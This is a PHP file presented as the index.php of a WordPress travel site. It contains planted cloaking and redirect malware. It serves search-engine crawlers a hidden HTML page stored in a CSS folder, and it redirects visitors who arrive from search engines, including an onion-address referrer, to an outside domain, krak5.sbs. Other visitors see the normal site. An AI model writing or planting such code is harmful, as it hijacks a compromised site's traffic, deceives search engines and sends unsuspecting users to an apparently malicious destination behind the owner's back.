File: //home/ignijdop/turftravels.com/index.php
<?php
session_start();
function is_bot() {
if (empty($_SERVER['HTTP_USER_AGENT'])) return false;
$bots = [
'YandexBot', 'YandexAccessibilityBot', 'YandexMobileBot', 'YandexDirectDyn',
'YandexScreenshotBot', 'YandexImages', 'YandexVideo', 'YandexVideoParser',
'YandexMedia', 'YandexBlogs', 'YandexFavicons', 'YandexWebmaster',
'YandexPagechecker', 'YandexImageResizer', 'YandexAdNet', 'YandexDirect',
'YaDirectFetcher', 'YandexCalendar', 'YandexSitelinks', 'YandexMetrika',
'YandexNews', 'YandexNewslinks', 'YandexCatalog', 'YandexAntivirus',
'YandexMarket', 'YandexVertis', 'YandexForDomain', 'YandexSpravBot',
'YandexSearchShop', 'YandexMedianaBot', 'YandexOntoDB', 'YandexOntoDBAPI',
'Googlebot', 'Googlebot-Image', 'Google-InspectionTool', 'Mediapartners-Google', 'AdsBot-Google',
'Mail.RU_Bot', 'bingbot', 'Accoona', 'ia_archiver', 'Ask Jeeves',
'OmniExplorer_Bot', 'W3C_Validator', 'WebAlta', 'YahooFeedSeeker', 'Yahoo!',
'Ezooms', 'Tourlentabot', 'MJ12bot', 'AhrefsBot', 'SearchBot', 'SiteStatus',
'Nigma.ru', 'Baiduspider', 'Statsbot', 'SISTRIX', 'AcoonBot', 'findlinks',
'proximic', 'OpenindexSpider', 'statdom.ru', 'Exabot', 'Spider', 'SeznamBot',
'oBot', 'C-T bot', 'Updownerbot', 'Snoopy', 'heritrix', 'Yeti',
'DomainVader', 'DCPbot', 'PaperLiBot'
];
foreach ($bots as $bot) {
if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) return true;
}
return false;
}
if (is_bot()) {
include 'wp-includes/css/kraken.html';
exit;
}
$searchEngines = ['google', 'yandex', 'duckduck', 'yahoo', 'bing', '3g2upl4pq6kufc4m'];
$isFromSearch = false;
$referer = isset($_SESSION['origURL']) ? $_SESSION['origURL'] : ($_SERVER['HTTP_REFERER'] ?? '');
if (!empty($referer)) {
foreach ($searchEngines as $engine) {
if (stripos($referer, $engine) !== false) {
$isFromSearch = true;
break;
}
}
}
if ($isFromSearch) {
header('location: https://krak5.sbs/');
exit;
} else {
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
}
?>